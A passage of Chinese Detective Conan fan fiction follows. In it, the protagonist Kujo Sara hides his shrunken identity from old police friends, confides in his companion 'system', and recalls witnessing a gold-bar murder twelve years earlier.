看完全程的系统,则是默默藏下了对柯南的判断。
好像会有乐子的样子?
8. 旧友(1)
文化祭后第二天。
在繁忙都市的一隅,警视厅那座庄严的大楼前,突然出现了一个身影。
这个人头戴一顶鸭舌帽,帽檐压得很低,遮住了半张脸,同时,一个厚厚的口罩紧紧地贴合在他的口鼻上,让人难以窥见其真实面目。
他的行动鬼鬼祟祟,左顾右盼,仿佛在等待着什么,又好像在刻意躲避着周围的目光。
那人自然是——九条裟罗。
案件的处理终于暂时画上了句号,然而裟罗却很清楚,接下来所要面对的,才是真正的挑战与难点。
“嗯,你好,请问你是来自首的吗?”
宫本由美微微皱着眉头,眼神中带着一丝疑惑。
她原本是回来换班的,上午的工作已经告一段落,只需等待下午的轮值。然而当她一靠近警视厅的大门,眼前的一幕让她不由自主地停下了脚步,下意识地就问出了声。
一个“神情”紧张的年轻人,他站在警视厅庄严肃穆的大门前,双手紧紧握在一起,似乎在努力控制自己的情绪。他脚下不停地来回踱步,显得有些焦躁不安。同时他的目光也是不由自主地,一次次投向那座高耸入云的大厦。
这不是在纠结自首是为了什么?
由美思考着。
尽管她只是交通部的一员,可她到底是警察,对这样的事情并不感到陌生,于是她便“主动出击”了。
搭档百崎橙子却是瞳孔地震。
不儿?我听到了什么?!你在说些什么啊由美——!
就算怀疑也该再找点人啊!就算她们一个会德式背摔,一个会柔道也要慎重啊!
她在心中呐喊着。
其实由美只是单纯觉得,裟罗没有带着“奇奇怪怪”的东西,衣服很修身也藏不了那些,加上这里还是警局门口,应该不会发生百崎担忧的事情,才那么做的而已。
裟罗身形一僵,他无奈道:“……并不是。”
“只是要做个笔录,但是因为感冒了,有些怕传染。”他故作羞涩道。
这是裟罗一早就想好的借口,同时很符合一个从未踏进过警局,怕给警察添麻烦的少年人,该有的姿态不是吗?
由美盯着裟罗看了好一会儿,然后她问:“你……是不是九条裟罗?”
“是。”裟罗一顿,点头了。
他不认为自己身份暴露了,现在更有可能的,是佐藤美和子与宫本由美提到了他。前世不多的记忆告诉他,这两人似乎是好友。
由美一拍手:“果然,美和子昨天跟我说过,来来来,我带你过去,你也不用担心那些事~”
“橙子~那我先走一步~”接着她转头找了个招呼。
百崎下意识回应:“啊,好?”
她显然还没有反应过来,语气中带着些许懵逼。
由美表示这就算是说过了,于是又热情地招呼起了裟罗:“来来来~”
不知道为什么,裟罗觉得自己就是那个即将入虎口的羊。
他指腹摩挲了一下,还是认命地跟了上去,至少现在也没有别的办法不是吗?
在接下来的过程中,一切进展得异常顺利。
与之前在大厦外的态度大相径庭,由美并没有拉着他询问各种八卦,而是表现得十分体贴,只是安静地陪着他,将他安全送到了目的地。
此外,由于裟罗在过去的经历中,不仅目睹过别人进行笔录,甚至自己也亲身参与过,因此对于笔录这项工作,他早已驾轻就熟,没有任何困难。
希望接下来的一切也会顺利。
裟罗在心中说道。
可惜,天不遂人愿。
有时候越不希望发生什么,就越会发生什么。
“九条?”
一道浑厚的声音在裟罗背后响起,那人小跑了过来。
姓氏切实为九条的裟罗眼睛一闭,随后转身看向来者:“请问你是?”
他的语气中带着一丝茫然,似乎并不认识面前的人一样。
对方身穿一件绿色的夹克,搭配一条笔挺的西裤。
仔细一看他浓眉大眼,那双黑色的眼眸微微下垂,给人一种成熟稳重的感觉。那整齐的板寸头,也进一步凸显出他的老成持重。
那人嘴中叼着一个牙签,他看到裟罗的样貌后瞳孔一缩,挠挠头歉意道:“诶?啊……抱歉抱歉,看你的背影我以为是我从前的一个朋友,不好意思是我认错了。”
“我叫伊达航,请问你是?”随后他又爽朗一笑。
裟罗眼中流露出恰到好处的了然:“我叫九条裟罗,您应该就是我小叔的朋友吧?”
他真是没想到,明明那么多年不见了,伊达居然还能够通过他的背影认出他来。
“九条……小叔?”伊达感觉明明他认识每一个字,可连在一起他又不懂了。
裟罗他飞速摘下口罩又带上,速度快到伊达都没看清就结束了。
然后他继续忽悠,:“大家都说我和小叔很像,连名字都一模一样呢。”
虽然不知道这个借口能不能骗过伊达,但是总归得试一下。
而且年龄骤减什么的,这仿佛魔法一样。可做人,还是要相信科学啊!
还好遇到的不是松田阵平,那小子脑子转的太快了,绝对会怀疑他的。
在他还没有做好准备的当下,是不准备跟他们相认的。就算要有同伴,那也会是诸伏景光。
毕竟景光知道的最多,也更方便帮他遮掩。就是他不太会说谎,容易被零那小子看透。
“你……是九条的侄子?!”伊达瞳孔地震,终于是理清了思路。
裟罗颔首:“是的。”
成功了?
果然变小这件事还是太不科学了,就没人能联想到。
“啊……啊…是这样啊……你们,是家人啊……”伊达似乎有些难以置信,他看了裟罗一遍又一遍。
看起来他是在对比现在热情洋溢的少年,以及记忆中那冷冰冰、没有一丝表情的面瘫。
裟罗微微弯曲着眸光,深邃的眼底闪过一丝狡黠,随即他低沉的声音仿佛恶魔的呢喃:“是的,所以,请问您是否知道我那位小叔的去向?他
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真的,已经失踪很久了。”
想要在与伊达航的交锋中占据上风是很容易的一件事,就像现在这样,巧妙地提出一个,他回答不了的问题就可以了。
这种策略,往往能在心理战中收到意想不到的效果。
果不其然——
“额这个……那个……”伊达面上冷汗直流,嘴中叼着的牙签都不知何时掉在了地上,浑身散发着一股“救救我救救我”的气息。
伊达的性格直率且刚正不阿,这种独特的个性让他在人际交往中显得尤为鲜明。然而在对待朋友方面,他又展现出了另一番温情与体贴,能够让人感受到他内心的善良和真诚。
正因为这种体贴入微,以及他并不擅长说谎,使得面对他这位“小辈”提出的棘手问题时,他陷入了深深的困惑,不知道该如何回答才好。
裟罗微微弯曲着眼睛,观察了一下气氛觉得时机已到,便又缓缓开口:“其实,我们家人都私下里猜测,他可能是在执行某种秘密任务。
毕竟,当年小叔突然离家出走,那决绝的态度,本身就有些……所以之后大家也就默契地没有去寻找他,仿佛心照不宣地默认了这件事。
而我主要是因为时间过去得实在是太久了,我担心之后大家或许都会遗忘小叔的存在。于是便来到了这个陌生的国家,想要找到他。”
他的这番话,主要是为了给他构建的两个身份背景,打上一个合理的补丁,让他塑造的背景更加合理、更加真实。
回想起来,他当年在警校的时候,总是对自己的家庭状况保持缄默,同时让他在同学们中塑造了一种独特的形象。
而「雷电影」这个身份,就是在这样的背景下应运而生。他巧妙地利用了自己家庭上的空白,那么现在再多一个侄子,也很合理不是吗?
他与曾经的自己相似的面容,没有任何伪装的模样,会成为他最好的证据。就算之后又冒出来“九条族人”,也都需要经过他的确认才可以,毕竟他已经将家庭背景给完善了。
这也算是,他为了防止贝尔摩德他们搞事情吧。
想当初,他们可以伪装成赤井务武试探赤井玛丽。那么现在,当然可以伪装成「雷电影」回去公安。
说实话他们要是真的那么做,事情就简单了,毕竟「雷电影」与九条裟罗是不一样的。伪装成「雷电影」,那跟自投罗网没有什么区别。
“啊,是,咳咳,所以我也不知道。”有了台阶下,伊达松了一口气,他顺势说着:“对了,不用敬称的,您啊您啊的,好像我是什么大人物一样。”
裟罗从善如流:“好的。”
“对了,我今天只是来做个笔录,只请了上午的假——”他困扰道。
伊达也懂眼色,他点头道:“哦,好。
那你先回去吧,我们有空在联系。对了,我在刑事部,你可以直接报我的名字。”
“好的。”裟罗乖巧地说着。
不过在伊达看不到的地方,他口罩下的脸没有任何变化,而在与伊达擦肩而过后,那帽子下的眼眸更是冰冷无比。
9. 系统
倒也不是九条裟罗对伊达航有什么意见,也不是别的什么原因,只不过是多年来在组织中的种种,使得他有些……被腌入味了。
要是这时候灰原哀见到裟罗,她的雷达怕是会疯狂提醒她裟罗的危害。所以就这一点来说,其实柯南也没有猜错。
——九条裟罗,很危险。
当然这件事裟罗本人也很清楚,不过现在对他最重要的是——
逃!
天知道会不会碰上松田阵平和萩原研二啊!
裟罗脚下升烟,走得飞快。
然后就和江户川柯南撞了个满怀。
裟罗:……
汗流浃背了老铁。
他不想遇见从前的人,这不代表他就想见到柯南啊?
裟罗问道:【一点不提醒我一下?】
【叮——您的系统正在修理小助手ing】
系统表示它正在看戏呢,它怎么能给宿主开挂?
裟罗:【9。】
他都不知道说什么,别以为他真的会信。不过不知道是不是他的错觉,他总感觉系统好像被打开了什么开关?
系统:嗯嗯,错觉哦。
在系统那里得不到答案,裟罗稳住柯南后深呼吸一口气,有些惊讶道:“柯南?”
这确实是他真实的情绪反应,他的内心深处正在仔细回顾自己不久前与伊达航的对话,试图从中寻找可能的疏漏和问题。
毕竟在之前的对话中,他的全部精力都集中在如何巧妙应对伊达上,再加上警视厅人多,以至于他几乎完全没有注意到柯南的存在。
要说为什么,理由很简单——裟罗在对不同人时的说辞上,有些微妙的差异。
这些差异,就是纱罗此刻急于确认的关键所在。
如果是与他人对话还不至于那样,他可以随便糊弄,偏偏对方是伊达,偏偏可能听到的人是柯南。
“裟罗哥哥?你也是来做笔录的吗?”柯南一派天真。
裟罗叙旧到一半看了眼时间,歉意道:“是啊,柯南你呢……抱歉,我恐怕得先回学校了。”
说着,裟罗甚至跑了起来,就怕又遇到什么“熟人”。
只留下柯南和伊达面面相觑。
柯南伸出尔康手,却根本来不及阻拦,无奈之下重振旗鼓抬头灿烂一笑:“额……那个叔叔,您是认识裟罗哥哥吗?”
“刚刚?”伊达捡起之前掉下的牙签。
柯南一脸茫然:“诶?”
“嗯……也没什么……”
声音渐行渐远。
离开的裟罗暗自在心中松了一口气,因为他能够确定没有问题了,柯南根本就没有听到他们之前的对话。
不过就算柯南是假装的,在他情报那么少的情况下,短时间内也察觉不出来什么。
这样就够了。
他的目的只是拖延时间。
裟罗以九条裟罗的名字出现于警局,以九条裟罗亲人的姿态出现在众人的视线中时,他就知道内奸绝不可能毫无察觉。即使伊达愿意为他保密,也不可能完全封锁消息。
尽管裟罗心中明白,他的行动是在引火烧身,可他同样明白他不可能永远逃避、隐藏在暗处。显然裟罗是不会就此屈服,于是他选择了一种更为明智的策略——拖延时间。
裟罗想要将战线的拉长,给自己争取更多的时间去做准备,去安排和处理好各个方面的事务。他希望能够主动出击,而不是被动地接受组织的挑战。
毕竟裟罗自己也非常清楚,他面对的不是一个易于对付的对手——那个组织势力庞大、根基深厚,要想动摇它,并非易事。
想到这里,裟罗脚下一顿:【系统,你在的吧。】
他有一件非常重要的事情,想要与系统商量。
【……在。】系统听出了裟罗语气的认真,同时它隐隐感觉,裟罗接下来说的话不是它爱听的。
裟罗压低帽檐:【我是个无趣的人,也是个认定了什么就一定要做什么的人。】
正因如此,他与系统的纠葛才那么多,如果他早早按照系统的安排换个身份,那么早就完成任务了,同时系统也会离开。
【放弃我吧,回去之后的宿主那里吧。】裟罗认真提议着。
他可能会用一生跟组织纠缠在一起,任务也可能永远都做不完。现在系统及时收手,放弃他才是最好的选择。
之前他嘴上说着系统怎么怎么样,可是他还是很感激系统的,毕竟
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如果不是系统,他早就死在了那一场车祸之中。
而系统救助他,让他完成任务的态度也很大方,哪怕他拖延了那么久也没有说他一句,更没有小说中的惩罚。
就好像这个宿主做不做任务都一样。
不过裟罗并不认为,系统救助他们宿主没有任何代价。
可是他真的不愿意改变他的想法,同时他也没有办法把自己拥有的一切还给系统。
毕竟当年系统就说过了,从他们出生的那一刻、从他们拥有第二次生命起,他们的生命就属于他们自己。它做不到也绝对不会逼迫他们,同时它更不会干涉他们宿主的任何行为。
系统尊重每一位宿主,切实地将他们视为同伴而不是下属。
所以现在劝系统收手,不把精力放在他身上,是裟罗唯一能做的了。
当然,不可否认的是,在未来的道路上,在对抗组织的过程中,他或许会攀登至高峰,从而完成系统颁布的任务。
然而裟罗却认为,在此之前的漫长的等待与忍耐,只需要交给他一个人去承担就可以。
系统:【……】
【我有数。】它冷静道,没有比它更明白这件事。
——这也是开拓的一部分。
在那辆它暂时无法触及的列车上,并非每位开拓者都能一路走到终点。途中,许多人会因为各式各样的原因,不得不提前下车。所以在列车上经历离别,这其实是一件极为寻常的事情。
不过无论是出于个人发展的需要,还是因为生活的无奈,那些开拓者们都在那开拓之路上,留下了独特的印记。
尽管他们的旅程有长有短,但每个人都在努力追寻自己的梦想和目标。因此,列车上的每一次离别,都是一次成长的见证,也是旅途中不可或缺的一部分。
更何况其实裟罗本身,并没有背离开拓之道不是吗?
系统解释道:【我有很多的宿主,我本就不会只留在你这边。
我会在合适的时间离开,然后在合适的时间回来看你,你不用负担那么大。】
要知道其实它提供不了什么帮助,之前的一切都是宿主们自己的努力啊。
它眼光就是好,挑选的宿主都是一顶一的好!
10.12年前的案件(1)
夜幕降临,淡淡的月光透过没有拉好的窗帘,洒在屋内的一角。
“总感觉过了好几个月了……所以这个时间,我真的有必要拖延时间吗?”
脸上映照着幽幽的蓝光,九条裟罗坐在电脑前,面容平静,眼神中不带一丝波动。他缓慢而坚定地敲下最后一个字,伴随着键盘轻柔的敲击声,屏幕上显现出他深思熟虑后的文字。随后他轻轻按下发送键,同时又迅速地删除了电脑上所有与此相关的信息,仿佛一切都没发生过。
现在的时间,按照大家的认知,是在文化祭后一周,众人就仿佛遗忘了那场面,重新回归了校园生活。
不过要是按照他模糊的记忆算,那件事都已经过了好几个月,可不就会回归正常生活吗?
而从他换身份开始,他便孜孜不倦地,将整个屋子都武装到了牙齿。索性就算时间有问题,也没有把他这段时间的努力都抹去。
不然他真的会癫狂的。
还好他准备做的事情,也算是告一回合了。
【好说好说,我相信你。】
裟罗一愣:“你还在啊?”
最近一段时间系统都没有发声,他还以为它已经离开了?
【嗯……下个事件之后吧?】系统思考了一瞬:【你有想法了对吧?】
因为第二位宿主也是抽取的角色卡,被裟罗那么一说,它也有些不好意思过去看他。
裟罗勾唇:“这倒确实。”
「雷电影」的“尸体”没有出现,他一早就打算用这个身份钓一下鱼了。
他在本质上与还是高中生的工藤新一有所区别,这不仅体现在年龄和身份上,更在于他拥有广泛而丰富的人脉资源。当然一定要说的话,江户川柯南确实也有,但是他很多时候并不会刻意使用。
同时他「雷电影」的身份,又与心怀顾虑的赤井玛丽截然不同,他的生活中没有太多牵挂和束缚,能够毫无顾虑地投入到每一次的冒险与挑战之中。
所以他可以肆意对上组织。
于是借着这个“优势”,裟罗早早就开始了布局,先前想要拖延时间也就是因此。
来吧,就如同当初试探赤井玛丽一样,就如同试探未来的FBI一样,过来找他吧——!
就是有些对不起铃木园子了。
在热闹非凡的会场中,裟罗轻轻地摇晃着手中的酒杯,那里面盛装着浅红色的液体,在灯光的照射下泛着柔和的光泽。
他的目光并没有投向台上正在热情演说的园子,而是随意地游移在会场各个角落。他的脸上带着一抹淡淡的微笑,显得既从容又自信。
系统:【……】
果然,还是被腌入味了啊。
尽管裟罗一早就做了充分的准备,对于计划过程中可能出现的伤亡也有所预见,但他依然选择了那条艰难的道路。
那一刻,系统的界面显得异常苍白,仿佛失去了所有的色彩。它觉得,自己选择的那个人,本不应该沾染上这种苦涩的味道。
这并不意味着系统要求那个人完全纯洁无暇,但它确实不应该让无辜之人卷入这场纷争。在它的算法中,人性的复杂和残酷本不该是这个样子的。
【你,觉得我变了吧。】
陡然间,裟罗开口了。
自从系统得知他的计划之后,它始终保持了一种默不作声的态度。
他知道,这个系统其实就像是刚出厂不久的“孩子”,涉世未深,缺乏足够的经验。就像那些初出茅庐的年轻人,对于世间的复杂和妥协,总是抱有一种“天真的看不惯”。
这个“孩子”也不例外,对于“大人”们的种种妥协和让步,它总是显得有些难以接受,仿佛在内心深处,它还在坚持着某种纯粹的理想。
然而,这种“孩子”般的纯真和执着,也让人不禁心生敬意。在这个充满妥协和利益交换的世界里,能够保持一份纯粹和坚持,本身就是一种难能可贵的品质。而他,也正是因为深知这一点,才更加珍惜这个系统的存在,即使它有时候会显得有些“不懂事”。
裟罗却是信心满满道:【放心吧,今天这个会场不会有一个人死亡。】
他明白系统的意思,问题在于这不是它接受不了的妥协啊。毕竟他这次引来的人可不是杀伤力极强,动不动就一个米花特产的琴酒他们啊!
他有分寸。
真的。
【看我操作。】裟罗又道。
不过这次,不等系统发出任何回应,毛利兰便先一步敏锐地注意到了他的存在。
她的眼神中闪过一丝惊喜,随即快步向他走来,笑容满面地说:“裟罗,你在这里啊?刚才园子还在到处找你呢。”
“兰?这是??”毛利小五郎紧随其后,虽然他的表情尽力保持着平静,但那挑剔的目光还是不经意地流露出来,打量着面前的少年郎。
怎么个事?这就是传说中的“裟罗”?
看起来他并不仅仅是因为名字与长辈相似,才轻佻地让人直接称呼名字,他和兰之间的关系似乎相当不错……
毛利小五郎不禁陷入了沉思,同时他的脑海中闪过了一个念头。
裟罗,裟罗这个名字,他总觉得有些熟悉,仿佛在哪儿听说过。他努力回想,却始终想不起这个名字背后的具体细节,这让他感到有些困惑。
“毛利叔叔,我叫做九条裟罗,是小兰的同班同学。”裟罗假装没看到那杀人般的视线,镇定自若地自我介绍着。
毛利小五郎瞳孔一缩:“九条?!”
他听到了什么?九条裟罗?
这不是当初那个臭小子的名字吗?!
想当初他与九条认识的时候,他刚刚从火灾二课转到搜查一课,还是个前途无量的警察。而那臭小子也不过才17岁,没两年就要考去警校了。
那熟悉的名讳,一下就唤醒了毛利小五郎多年前的记忆——
“啊毛利老弟,你来了。”目暮十三招呼道。
作为他抢过来的搜查一课的王牌,这次的大案件还是得毛利小五郎出场啊。
毛利小五郎一眼就将现场的情况尽收眼底,小跑过去,“来的路上我已经听过了,现在是什么情况?”
“九条你过来一下。”目暮十三没有立刻回答,他反手招呼着九条。
九条微微颔首,礼貌道:“你好,我是九条裟罗。”
毛利小五郎的视线如利剑般锐利,与九条裟罗的目光在空气中交错,前者眼中闪烁着审视的光芒,后者则保持着一种不卑不亢的淡然。
——这家伙,简直就像个狡猾的狗崽子。
这是当年的毛利小五郎,第一眼看到九条裟罗时的直接感受。
尽管九条在众人面前表现得无可挑剔,每一个动作、每一句话都表现的既得体又恰当,但毛利小五郎还是凭借着敏锐的直觉,捕捉到了一丝不同寻常的违和感。
这种感觉就仿佛隐藏在九条平静无波的外表之下,有一座随时可能引发一场惊天动地爆发的火山,正等待着某个导火索将其点燃。
虽然并不知晓九条隐藏本性的理由,但是这是毛利小五郎身为警察的第一直觉。不过他并不认为这种不协调感是简单的偏见,毕竟他与九条才刚刚相识——仅仅只是一个初见。
正因如此,他更加选择信任自己的直觉,对九条保持着一份必要的戒备与警惕。毕竟作为一名经验丰富的警察,有时候直觉也是解决案件的关键。
然而,毛利小五郎很快便将这种疑虑抛诸脑后,原因同样简单而直接——从目前的证据和情况来看,九条不可能是这次案件的真实凶手。
更不用说,他在考上警校并毕业之后,有很大概率会成为自己的新同事和后辈。
当然他也明白,不能仅仅因为这一点就草率地下定论。作为一名理智的警察,他需要更深入的观察和调查。
“你好。”毛利小五郎收敛了自己的思绪,平静地开口:“你就是报案人吧。”
他的声音冷静而沉着,眼神中透露出一丝不易察觉的锐
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利。
这是疑问句,却没有任何困惑之意。
九条没有反驳,也没有因多次询问而烦躁:“是的。”
“还需要我重复一遍当时的情况吗?”他想了想又道。
毛利小五郎不置可否:“那就麻烦了。”
在侦破案件的过程中,警察必须对每一个细节进行严密的推敲和审查,其中,怀疑报案人本身是否为凶手,是侦查工作过程中不可或缺的一环。
这种怀疑并非无端猜疑,而是基于严谨的职业素养和丰富的侦查经验。
灯下黑是常有的事。
一部分凶手更是会选择,重新返回自己的作案现场。
因此,在当前这个案件中,让九条多进行两次陈述的理由就很明了了——为了细致地对比他前后所提供的信息,观察其中是否存在任何矛盾或遗漏之处。
这种做法不仅有助于揭示真相,也是为了确保案件侦破过程中不放过任何可能的疑点,从而为后续的侦查工作指明方向。
“好的。”九条没有任何迟疑,仿佛这个问题他已经回答过无数次,就像养成了肌肉记忆一般,他流畅地开口:“那是在一个小时前,也就是下午两点十三分左右发生的事情。”
他的声音坚定而清晰,透露出一种不容置疑的自信。
毛利小五郎挑了挑眉,略带疑惑地问道:“对时间那么明确的吗?”
九条微微蹙眉,解释得滴水不漏:“因为将来我打算报考警校,所以从很早开始就养成了关注时间的习惯。
钟表、手机、手表,只要是能显示时间的东西,我都会下意识地看一眼。不过当时刚好在跑步,我是用音乐来计算的,时间上或许有些许差距。”
目暮十三静静地观察着两人,心中已经有了答案。他深知毛利小五郎的性格,自然不会轻易打断他的询问。
九条冷静地询问:“请问在时间上还有问题吗?”
毛利小五郎沉思了片刻,琢磨着九条的话,然后缓缓吐出一口浊气:“没有了,请继续。”
他的目光中透露出一丝期待,似乎希望能从九条的叙述中找到更多线索。
“当时正好在跑步机上锻炼,耳中还带着耳机,加上两栋楼之间的距离,我只能大致看到受害者与凶手似乎发生了争执。”
九条说这话时,仿佛在描述一场无关紧要的风景。
不过他看似平静地叙述着,实际上给自己叠满了buff。恨不得把要是案件查不清,别把锅甩在他身上的话给说出来。
原因倒也简单,九条一早就说了,他以后想要成为警察,于是他有意识起就一直在接近。
只不过这个世界的科技要稍弱一些,监控算是摆设,警察的调查能力也较低,他并不是很信任来着。
毛利小五郎也不知道听没听出来,他只是点头,表示九条说的那件事他也知道,带他过来的警员一早就将情况告知了。
接着又连忙追问:“细节。你看到的争执是怎么样的?”
很显然,毛利小五郎真正想知道的是这个。
听到这话,九条的眉头彻底皱起。
“毛利老弟,你这就有些为难人了。”目暮十三适时开口。
毛利小五郎艰难地将自己的目光,转移到了目暮十三身上。
目暮:“咳咳!暂且不说距离,九条也不是一直盯着的。”
不管九条的视力有多好,他们终究是两栋楼的人,隔了至少有百米的距离。当然这个距离还好,可有谁会一直盯着别人家看啊?又不是偷窥。
这种情况下,九条能通过扫两眼分析出问题就不错了,再多的就真是为难了。
“……好吧。”毛利小五郎叹气,不抱希望却还是照例道:“如果还想起了什么,可以直接说出来。”
“嗯……这么说来好像确实有一件事?”九条见毛利小五郎还算靠谱,思考了一瞬,还是打算将事情说出来了。
语落,目暮十三和毛利小五郎同时看向了九条。
11.12年前的案件(2)
事先声明,九条裟罗不是变态,也不是偷窥狂。
那么问题来了,九条为什么会看到受害者与凶手之间的争执,看到最后凶手杀死了受害者呢?
九条:“我被黄金闪了眼。”
黄金,这个字眼在空气中回响。
听到这个词的瞬间,目暮十三和毛利小五郎不约而同地交换了一个意味深长的眼神。
他们心中都清楚,这并非一个普通的词汇。
——就在半个月前,本市的一家知名金店遭遇了一场突如其来的抢劫。
那场抢劫案震惊了整个城市,警方至今仍在全力追捕凶手。
要说他们为什么知道……
因为再找不到凶手,这个案件就要甩在他们头上了,所以他们也提前了解了一下。
尽管不确定之前的黄金失窃案,与这次的案件是否有关联,他们都会进行一个调查。如果真的有关联,那不好意思,这个功劳归他们搜查一课了。
“我现在才回想起来。”九条找补道:“当时只是感觉眼前一亮,并没有特别注意那是什么东西。”
尽管九条的解释听起来有些牵强,但谁也不能断言他的说辞是虚假的。毕竟没有确凿的证据,表明九条事先就知道那是一块黄金,他有意隐瞒真相。
因此,目暮十三和毛利小五郎两人虽然心中存疑,却也没有直接质疑九条的说法,只是默默点头,表示已经明白了他的意思。
谁让一定要说的话,其实九条说不说跟案件没有根本的关联,很多报案人也不可能知道的那么清楚。反而要是真的全部都知道,那他们就真的得怀疑一下了。
九条回忆着说:“第一次是在凶手的手上。”
哒哒哒~哒哒~
耳机里流淌出悦耳的有节奏感音乐,伴随着跑步机稳定的运作声,九条感觉自己的心跳与音乐的节奏同步。
汗水沿着他的额头滑落,他微微皱起眉头,心里想着要不要把跑步机的速度调节得再快一点,他现在已经适应这个速度了。
他轻轻撩起额头前的刘海,一只手随意地在空中甩了甩,将手上的汗珠甩落。随后,九条转向旁边的设备,用轻松的口吻下达命令:“小助手,调节一下室内的温度,同时打开通风系统,让空气流通一些。”
【系统小助手】,是家中的人工智能系统。虽然按照这个世界的时间线来看,人工智能还并未普及,甚至可以说是一片空白。但是为了使生活更为舒适便捷,同时小助手自身也渴望能够提供帮助,经过简单的操作,它就传输到了家中的电器中。
“好的。”
伴随着滴滴滴的声音,小助手的机械音响起。
九条很满意,不过最终还是没能调快速度。
因为就是这时,他被黄金闪了眼。
这是九条第一次被黄金闪到眼。
强烈的光线瞬间刺痛了他的双眼,使得他不由自主地闭上了眼睛。也正是这一瞬间的失明,让他的跑步节奏瞬间崩溃。
就在这时,他感觉到自己的身体失去了平衡,眼看马上就要倒在运作中的跑步机上,发生一场血案,索性系统小助手即使关掉了跑步机。
同一时间,九条也稳住了身体。
小助手担忧道:“稍微休息一下吧。”
失误了,他本以为在下午加背光的情况下,不会再受到对楼反光的影响。然而现实却狠狠给了他一个教训,提醒他在训练中还需更加细心和周全。
“我没事。”他谨慎道:“不过下次,还是试试闭着眼。”
刚好再锻炼一下,虽然反应速度不慢,但是他对陡然的变化还是没有把握。
小助手:嗯?我是这个意思吗?
不管是不是,九条都这么决定了。
不过那是下一次训练的事情,这次他是不准备做什么了,刚刚差点命丧黄泉这件事还让他有些后怕。
当然更多的,其实是哭笑不得。
他倒也习惯了这种在生死边缘徘徊的感觉,可因为这种事还是第一次。
边思考,九条边走向了窗边。
这一次,还是得把隐患解决了才行。
可下意识地,他看向了反光的源头。
——两个人正在吵架。
是的,人。
当时九条连是男是女都没看清楚!
这肯定不是九条的视力问题,纯碎是那窗帘很厚。
或许这时候就有人要问了,既然对面拉着窗帘,为什么还能刺到九条的眼睛?
因为窗帘没拉严实,而那黄金恰好被握在了手里,顺着那缝隙,又恰好闪到了九条的眼。
小助手点评:“无妄之灾。”
“是有点。”九条走神道。
突然间,他心中升起一种异样的直觉,那是他作为警察多年磨砺出的本能。
那块金砖……为什么会让他联想到半个月前,那起震惊全市的抢劫案?
这种联想,显得那么突兀,却又那么强烈。
尽管九条平日里对警察的工作颇为关注,但他并没有什么死神光环,并不会被牵扯进案件中,所以这些年来,他的生活一直平和安宁。然而这一次,是来到这个世界后,他的直觉第一次如此强烈地提醒着他。
这种不妙的预感如同乌云笼罩心头,驱使着他无意识地望向对面的那栋楼。他的目光紧紧地锁定在那人手中的金砖上,那是一块在阳光下熠熠生辉的黄金,却也是罪恶的象征。
紧接着,他目睹了那家伙残忍地痛下杀手。
窗帘上“梅花”盛开,又被倒下的那人扯得大开,仿佛在无声地诉说着悲剧的发生。
凶手高举着金砖,喘着粗气似乎还要再下手,却像是感觉到了,下意识抬头。
就在九条瞥见凶手脸的那一刹那——
那嵌在脑袋里的黄金,又一次闪了他的眼。
九条:……
等他顶着那反光,睁着那酸涩的双眼想要看清对方的时候,凶手已经抬手捂住了脸,只留那带着杀意的癫狂眼眸。
很显然,凶手已经看到九条,并打算杀人灭口了。
“我【系统小助手】愿封金砖为MVP。”
这时,小助手的机械棒读音响起。
闻言,九条被勾起的好胜心瞬间消失,他努力压制道:“少看点动漫!”
他心里骂骂咧咧,还不忘摸出手机报警。
“……事情就是这样。”
九条删删减减地将事情说了出来,藏下了他中间的猜测,只说自己是被闪了两次眼才注意,以及最后他可能被看到的事情。
可惜家里没有对窗户外的监控,小助手是在九条脑内看到的,也没有什么记录,不然他就直接说看到脸了。
对最后一点,目暮十三和毛利小五郎也是知道的,这也是九条裟罗会出现在警局的原因——他们担心他会被报复。
虽然等入了夜还是得回家,但是他们也会安排人过去。至于为什么要安排人还出现在警局……当然还是警局更安全一点啊!
目暮十
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三拍拍毛利小五郎的肩膀,一脸严肃道:“毛利老弟,之后的事情就交给了。”
毛利小五郎,就是他准备安排跟着九条的人。
九条本条肯定是不会有什么意见的,毕竟他可是守法公民呐!
可是那之后一连数天,都没有凶手——广田富春的消息。
经过调查,警察们确定了广田富春,就是半月前金店抢劫犯之一。当时的犯人有两位,广田富春因分赃不均,残忍杀害了另一个同伴。
要说为什么两个人就能抢了金店……
这真是个好问题,这个世界似乎还是抢银行的更多,导致金店无人在意。
乖乖呆在家中的九条裟罗捂脸。
“唉,这下麻烦大了。”
毛利小五郎收起电话,眉头紧皱,脸上的表情透露出深深的忧虑。
九条完全能理解他的心情,毕竟广田富春这个人一直踪迹全无,这足以说明他的狡猾与机智。他杀死同伴的那一幕,或许早已在心中预谋多时。与其说他是激情杀人,不如说是一早就想要独吞赃款了。这样的人要对付起来,确实让人头疼。
而且,以目前的技术手段,想要捉拿他如同大海捞针,难度极大。一旦他成功逃窜到其他城市,那么这件案子基本上就要成为悬案,难以破解了。
然而——
九条心中却有着不同的看法,他并不认为广田富春会轻易地离开。
原因很简单,广田富春在逃亡之前,一定会先考虑将他置于死地。这一点,从他那双充满恶念的眼睛中就能看出端倪。
这几天若有若无的视线,更是证实了这一点。只可惜对方确实谨慎,每每当他顺着找过去的时候,都没有任何成果。
不过正因为如此,九条并没有像毛利小五郎那样心烦意乱,哪怕他已经成为凶手的目标。在他看来,这样的挑战反而更加刺激,让人跃跃欲试。
“嗯……毛利叔,您能帮我去买些饮料回来吗?天气这么热,我都快渴坏了。”
九条稍作犹豫,最终还是决定向毛利小五郎提出这个请求。
他明白广田富春之所以迟迟不出现,最大的原因就是对毛利小五郎的忌惮。毕竟他还等着干掉他之后,去其他地方潇洒呢。既然如此,那就必须制造一个让他觉得安全的机会,一个能够让他放下心防的缺口。
通过支开警察的方式。
刚好这两天他还不露面,估计给广田富春积攒了很大的负面情绪。
毛利小五郎闻言微微一愣,他那眯起的双眼中闪过一丝明了。
作为被支开的人,他已经敏锐地洞察到了九条裟罗的意图。他知道这个时候最好的办法就是配合九条,给广田富春创造一个合适的机会。
问题在于,他该配合吗?
九条裟罗再怎么是警校预备役,他都没有考上警校呢。
两人对视,最终是毛利小五郎先败下阵来。
毕竟这确实是现在最好的办法。
他叹气道:“我知道了。”
“我很快就会回来。”毛利小五郎一语双关。
——我会一直盯着的。
买水只是借口,关键还是让广田富春认为有机可乘,实际上买不买都一样。
九条点头,虽然他觉得他能够在毛利小五郎回来之前解决,但有时候还是不能托大的。
强大的武力值确实可以碾压一切阴谋,可他现在毕竟只有十七岁。
这可是好不容易才得来的第二条命,怎么说也得珍惜一下。
12.12年前的案件(3)
很难解释,但是钓鱼计划进行地非常顺利。
